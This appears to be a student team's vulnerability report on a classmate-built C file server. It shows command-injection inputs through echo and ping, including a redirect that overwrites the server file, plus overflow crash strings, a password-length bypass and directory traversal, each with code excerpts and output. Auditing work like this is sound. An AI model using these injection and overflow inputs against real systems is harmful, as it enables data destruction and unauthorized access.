Team5

Command Injection

- Parameters for echo are not filtered. Hence we can run arbitrary commands.

```
$ echo hello `date`
hello Wed Mar 14 20:18:11 EDT 2018

$ echo hello $(date)
hello Wed Mar 14 20:19:50 EDT 2018

$ echo hello | date
Wed Mar 14 20:20:22 EDT 2018

$ echo hello & date
Wed Mar 14 20:20:46 EDT 2018

$ echo hello || date
Wed Mar 14 20:22:13 EDT 2018
```

- Parameters for ping are not filtered. We can use this to redirect output to any file the attacker wants.

```
$ ping google.com
PING google.com (172.217.9.78) 56(84) bytes of data.
64 bytes from ord38s09-in-f14.1e100.net (172.217.9.78): icmp_seq=1 ttl=53
time=7.00 ms

--- google.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 7.001/7.001/7.001/0.000 ms

$ ping google.com > ../fileToModify   # Ex: > server => server file gone.

$
```

Directory traversal

- Absolute paths are not handled.

```
$ cd /

$ ls
total 96
drwxr-xr-x   2 root root  12288 Mar 13 05:09 bin
drwxr-xr-x   4 root root   4096 Mar  6 05:09 boot
drwxr-xr-x  21 root root   5380 Oct 25 16:16 dev
drwxr-xr-x 136 root root  12288 Mar 13 05:09 etc
drwxr-xr-x   2 root root   4096 Apr 12  2016 home
...
```

- This can be used to overwrite the configuration file and thus allows for command injection.

Null pointer dereference

- If command returns NULL, find_command will try to referenece a NULL pointer

```
Input:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
command = parse_command(buf, read_size);
alias = find_command(command->cmd);
```

When command length is too long

```
$
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA

$

$
mc08 73 $
```

When parameters are too long

```
$ login
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

$

$
mc08 74 $
```

- Server thread crashed when user sends cd command before logging in.

```
else if(!strcmp(command->cmd, "cd")){
  if (current_user==NULL){
    if(current_user->isLoggedIn==false){ // NULL->isLoggedIn? Crash!

    }
  }
```

Password Verification

- The binary compare function does not verify if length of strings match. This can be used to bypass password check with wrong password. Ex: Actual password = 1, given password = 123, it will still authorize

```
$ login n
username verified

$ pass 123
Login authorized.

$ logout
Logged out sucessfully.

$ login n
username verified

$ pass 1
Login authorized.
```

Buffer Oveflow

- File name has a limited char array size of 50, but this bound is not checked.

Input:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

```
$ get
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA
AAAAAAA

$

$
mc08 75 $
```

File name is sanitized using this function which will overflow

```
int rpt_err(char *arg){
    char check[50];
    sscanf(arg, "%s", check);
```

- This also accurs with long filenames. DATASIZE >>> MAX_PARAMS_SIZE

```
char err[MAX_PARAMS_SIZE];
snprintf(err, 23, "ERROR: No such file-> ");
snprintf(err + strlen(err), DATASIZE, command->params);
```

- Linux max path size = 4096 bytes. The buffer which will overflow:

```
#define BASE_SIZE 100
char base[BASE_SIZE];
char *current_pwd = base;
char tmp_dir[1024];
strcpy(current_pwd, tmp_dir);
```

Input:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

```
$ mkdir
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

$ cd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

$

$

$
mc08 105 $
```

Memory Leak

- Doesn't free anything.

```
path = NULL;
command_tmp = NULL;
free(command_tmp);
free(path);
```

Format string

- We have control over command->params. But the input is checked for any '%' charater and changes control flow based on it.

```
snprintf(err + strlen(err), DATASIZE, command->params);
```

Design Bugs

- Passing pointer to local variables

```
struct arg arguments;
arguments.filepath = filepath;
arguments.port = dataport;
arguments.type = 2;
arguments.size = size;

pthread_t tid;
pthread_create(&tid, NULL, sock_create, &arguments);
sleep(1);
```

When the calling function goes out of scope, arguments will be invalid and can have undefined behaviour in the
thread function. Better to use malloc.

- All users have the same home directory?

```
$ login Acidburn
username verified

$ pass CrashOverride
Login authorized.

$ ls
total 16
drwxrwxr-x 2 njaganna njaganna 4096 Mar 14 19:49 dir1
drwxrwxr-x 2 njaganna njaganna 4096 Mar 14 19:49 dir2
-rw-r----- 1 njaganna njaganna  286 Mar 14 23:26 inp
-rw-rw-r-- 1 njaganna njaganna    0 Mar 14 19:49 layer0-1
-rw-rw-r-- 1 njaganna njaganna    0 Mar 14 19:49 layer0-2
-rw-r----- 1 njaganna njaganna  286 Mar 14 23:29 mod

$ logout
Logged out sucessfully.

$ login n
username verified

$ pass 1
Login authorized.

$ ls
total 16
drwxrwxr-x 2 njaganna njaganna 4096 Mar 14 19:49 dir1
drwxrwxr-x 2 njaganna njaganna 4096 Mar 14 19:49 dir2
-rw-r----- 1 njaganna njaganna  286 Mar 14 23:26 inp
-rw-rw-r-- 1 njaganna njaganna    0 Mar 14 19:49 layer0-1
-rw-rw-r-- 1 njaganna njaganna    0 Mar 14 19:49 layer0-2
-rw-r----- 1 njaganna njaganna  286 Mar 14 23:29 mod
```